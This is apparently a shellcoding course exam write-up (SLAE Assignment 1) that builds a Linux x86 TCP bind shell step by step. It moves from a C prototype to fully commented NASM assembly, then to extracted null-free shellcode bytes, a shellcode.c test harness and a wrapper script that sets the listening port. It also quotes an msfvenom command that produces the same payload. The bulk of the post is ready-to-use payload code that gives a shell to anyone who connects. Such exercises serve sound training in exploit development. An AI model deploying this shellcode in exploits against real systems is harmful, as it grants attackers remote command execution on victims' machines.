SLAE Assignment 1 - TCP Bind Shellcode
13 Apr 2017Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Hello everybody,
Here we are for a new set of posts dealing with the exam of the great course Assembly Language and Shellcoding on Linux. Thanks to Vivek Ramachandran and his team for all of this work.
For information, the SLAE course has been performed on a 32bits Kali environment:
# uname -a
Linux kali 4.6.0-kali1-686 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) i686 GNU/Linux
We recommend to run the commands on a 32bits environment. Otherwise you should adapt them:
nasm -f elf32 -o $1.o $1.nasm
ld -m elf_i386 -o $1 $1.o
gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c
So let’s rumble!
Assignment 1:
Code is available on my github repo.
Our Goal:
Create a Shell_Bind_TCP shellcode:
- binds to a port that should be easily configurable
- executes shell on incoming connection
- easily configure the listening port
If we want to create a TCP Bind shellcode from scratch, what are our options?:
1) The lazy one; creating a shellcode thanks to msfvenom
msfvenom -p linux/x86/shell_bind_tcp LPORT=8080 EXITFUNC=THREAD -f raw | ndisasm -u -
But it is quite too easy.
2) Creating our own ELF thanks to a C program that will help to understand how the final shellcode will work.
We will choose this last option.
Here is our C source code:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
int main(void)
{
int clientfd, sockfd;
int dstport = 8080;
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET; //2
mysockaddr.sin_port = htons(dstport); //8080
mysockaddr.sin_addr.s_addr = INADDR_ANY; //0
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
listen(sockfd, 0);
clientfd = accept(sockfd, NULL, NULL);
dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
execve("/bin/sh", NULL, NULL);
return 0;
}
Let’s test it:
gcc -fno-stack-protector -z execstack -ggdb -o shell-bind-tcp shell-bind-tcp.c
./shell-bind-tcp
From another shell:
The objdump -d ./shell-bind-tcp -M intel
produces a huge amount of assembly code.
Something good to notice is that our ELF has been dynamically linked:
The ELF is using the .plt and .got sections in order to dynamically address the interesting functions.
These functions are LIBC functions:
We will need to translate these function calls into system calls. Let’s focus on the following functions:
socket
bind
listen
accept
dup2
execve
Let’s have a look in /usr/include/i386-linux-gnu/asm/unistd_32.h:
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
What is the syscall socketcall?
man 2 socketcall
SOCKETCALL(2) Linux Programmer's Manual SOCKETCALL(2)
NAME
socketcall - socket system calls
SYNOPSIS
int socketcall(int call, unsigned long *args);
DESCRIPTION
socketcall() is a common kernel entry point for the socket system calls. call determines which socket function to invoke. args
points to a block containing the actual arguments, which are passed through to the appropriate call.
User programs should call the appropriate functions by their usual names. Only standard library implementors and kernel hackers need
to know about socketcall().
...
Let’s check the different values of the first int call argument:
grep SYS_ /usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
#define SYS_SEND 9 /* sys_send(2) */
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
#define SYS_ACCEPT4 18 /* sys_accept4(2) */
#define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */
#define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */
So let’s dive into our shellcode:
; shell_bind_tcp.nasm
;
; A TCP port bind shellcode
;
; Author: SLAE - 891
;
; You are free to use and/or redistribute it without restriction
global _start
section .text
_start:
; sockfd = socket(AF_INET, SOCK_STREAM, 0);
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall 102
; #define SYS_SOCKET 1
xor ebx,ebx
mul ebx ; zero out eax and edx
mov al, 102 ; __NR_socketcall
mov bl, 1 ; SYS_SOCKET
; we are pushing on the stack our arguments
push edx ; IPPROTO_IP
push byte 1 ; SOCK_STREAM
push byte 2 ; AF_INET
mov ecx, esp ; the top of the stack points to a structure of 3 arguments
int 0x80 ; syscall - result is stored in eax
mov edi, eax ; stores sockfd
; bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall 102
; #define SYS_BIND 2
push edx ; mysockaddr.sin_addr.s_addr = INADDR_ANY; //0 - listen on 0.0.0.0 (all interfaces)
push word 0x901f ; mysockaddr.sin_port = htons(dstport); //8080
push word 2 ; AF_INET
mov ebx, esp ; stores the address of mysockaddr
push byte 16 ; length of mysockaddr
push ebx ; pointer to mysockaddr
push edi ; sockfd
xor ebx, ebx ; flushing registers
mul ebx
mov al, 102 ; __NR_socketcall
mov bl, 2 ; SYS_BIND
mov ecx, esp ; pointer to the args for socketcall
int 0x80
; listen(sockfd, 0);
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall 102
; #define SYS_LISTEN 4
push edx ; 0
push edi ; sockfd
xor ebx, ebx ; flushing registers
mul ebx
mov al, 102 ; __NR_socketcall
mov bl, 4 ; SYS_LISTEN
mov ecx, esp ; pointer to the args for socketcall
int 0x80
; clientfd = accept(sockfd, NULL, NULL);
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall 102
; #define SYS_ACCEPT 5
xor ebx, ebx ; flushing registers
mul ebx
push edx ; NULL
push edx ; NULL
push edi ; sockfd
mov al, 102 ; __NR_socketcall
mov bl, 5 ; SYS_ACCEPT
mov ecx, esp ; pointer to args
int 0x80 ; returns clientfd file descriptor in eax
; int dup2(int oldfd, int newfd); duplicates a file descriptor
; dup2(clientfd, 0);
; dup2(clientfd, 1);
; dup2(clientfd, 2);
; #define __NR_dup2 63
mov ebx, eax ; clientfd as first argument
xor ecx, ecx
mov cl, 2 ; 2 for stderr / 1 for stdout / 0 for stdin
xor eax, eax
dup2:
mov al, 63 ; __NR_dup2
int 0x80
dec ecx
jns dup2 ; jump short if not signed
; execve("/bin/sh", NULL, NULL);
; #define __NR_execve 11
xor eax,eax
push eax
push 0x68732f2f ; hs// - take care to the little endian representation
push 0x6e69622f ; nib/
mov ebx, esp ; pointer to command string
mov ecx, eax
mov edx, eax
mov al, 11 ; __NR_execve
int 0x80
Let’s compile with the compile.sh script:
./compile.sh shell_bind_tcp
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
Let’s run shell_bind_tcp and try to connect from another shell:
What we have to take care in shellcodes are bad characters. Each compromised application will lead to its own set of bad characters that we will need to avoid in the shellcode part of the exploit.
Right now let’s check that our shellcode do not contain null bytes:
objdump -d shell_bind_tcp -M intel | grep 00
Great, no null bytes. Let’s dump our shellcode:
objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x66\x68\x1f\x90\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x52\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x31\xdb\xf7\xe3\x52\x52\x57\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
Let’s execute it in shellcode.c:
gcc -fno-stack-protector -z execstack -o shellcode shellcode.c && ./shellcode
Then from another shell:
One easy way to customize the listening port is to set a pattern in the source file and to generate the shellcode thanks to a wrapper script.
We are creating a shell_bind_tcp.template and updating the following part:
push word 0x901f
becomes push word PORT
.
Now we will use the wrapper.sh script:
./wrapper.sh
Usage: ./wrapper.sh <port_number> <pattern> <file>
./wrapper.sh 8080 PORT ./shell_bind_tcp.template
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x66\x68\x1f\x90\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x52\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x31\xdb\xf7\xe3\x52\x52\x57\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
So now we can parametrize the port number and generate a TCP port binding shellcode.
Hope you enjoyed,
Thanks a lot and as i’m used to saying, do not hesitate to comment and share.